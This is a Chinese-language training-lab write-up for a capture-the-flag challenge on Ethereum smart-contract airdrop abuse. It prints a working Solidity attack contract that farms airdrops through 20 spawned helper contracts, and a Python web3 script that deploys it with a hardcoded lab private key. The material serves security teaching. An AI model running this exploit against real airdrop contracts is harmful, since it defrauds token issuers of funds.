本文介绍: 通过课程学习,让学员理解区块安全概念常见漏洞类型掌握审计区块链安全所需的各种预备知识,包括公链安全基础、智能合约安全基础、智能合约漏洞基础、智能合约高级漏洞进阶知识相关操作等。熟悉区块链公链、以太架构、关键技术智能合约编写智能合约常见漏洞知识掌握区块链公链漏洞、以太智能合约审计、漏洞挖掘与利用等重要技能通过完成实验,让学员能循序渐进地领会区块链以太智能合约漏洞挖掘所需的各种知识掌握审计及挖掘以太坊智能合约漏洞的必备技能提升学员综合审计及挖掘漏洞实践能力

区块链安全


薅羊毛攻击实战

实验目的

学会使用python3的web3模块
学会分析以太坊智能合约薅羊毛攻击漏洞
找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作

实验工具

python3

实验原理

薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。

实验内容

合约中内置了空投函数潜在的薅羊毛攻击问题找到合约漏洞并形成利用,把合约中的flag变量设置true即可
使用python3的web3模块远程利用漏洞并获取flag
实验地址nc ip 10009

薅羊毛攻击实战实验步骤

获取合约地址和合约源代码
nc ip 10009连接题目输入1,获取部署合约的game accounttoken
在这里插入图片描述

打开http://ip,输入上述分配game account点击Request获取eth
在这里插入图片描述
在这里插入图片描述
ctrl+shift+d
退出

nc ip 10009连接题目,输入2,获取部署合约的地址new token
在这里插入图片描述

nc ip 10009连接题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞
题目要求将合约中的flag变量设置true
在这里插入图片描述

分析代码逻辑需要满足balanceOf[msg.sender] >= 2000才能设置flagtrue
题目中有空投函数,每次空投可以使 balance 增加 100,并且也有转账函数可以balance 转给其他用户
那么我们可以使用薅羊毛的攻击方式,创建 20 个临时合约来调用空投函数,并转账给主合约来使得 balanceOf[msg.sender] >= 2000

EXP利用

编写攻击合约attack.sol,将下述ETH9地址替换自己题目合约的地址,主要包括三个功能middle_attack合约用于申领空投,并转账给主攻击合约attack;attack合约通过new函数不断申请创建middle_attack合约,直至满足balanceOf[attack] >= 2000;当balanceOf[attack] >= 2000时,调用attack合约的get_flag函数,在get_flag数中调用题目合约的payforflag函数将flag设置true

pragma solidity ^0.4.23;

contract attack{
    function attack_airdrop() public {
        for(uint i = 0; i < 20; i++){
            new middle_attack(address(this));
        }
    }

    function get_flag() public {
        ETH9 target = ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);
        target.payforflag();
    }
}

contract middle_attack{
    constructor(address addr) public {
        ETH9 target = ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);
        target.gift();
        target.transfer(addr,100);
    }
}

编写python3自动化脚本,将上述攻击合约部署,然后按照上述步骤分别执行即可

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0x05653f1dE1512EFC31eb6dd835947AF697fA7be0"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

set_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:
    SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:attack']

# deploy attack.sol
txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)

# call attack_airdrop() in attack.sol
data = Web3.keccak(text='attack_airdrop()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call attack_airdrop() success")

time.sleep(5)

# call get_flag() in attack.sol
data = Web3.keccak(text='get_flag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call get_flag() success")

执行exp
在这里插入图片描述

nc ip 10009连接到题目,输入3,输入之前的new token,获取flag
在这里插入图片描述

原文地址:https://blog.csdn.net/weixin_51387754/article/details/134704182

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_38198.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注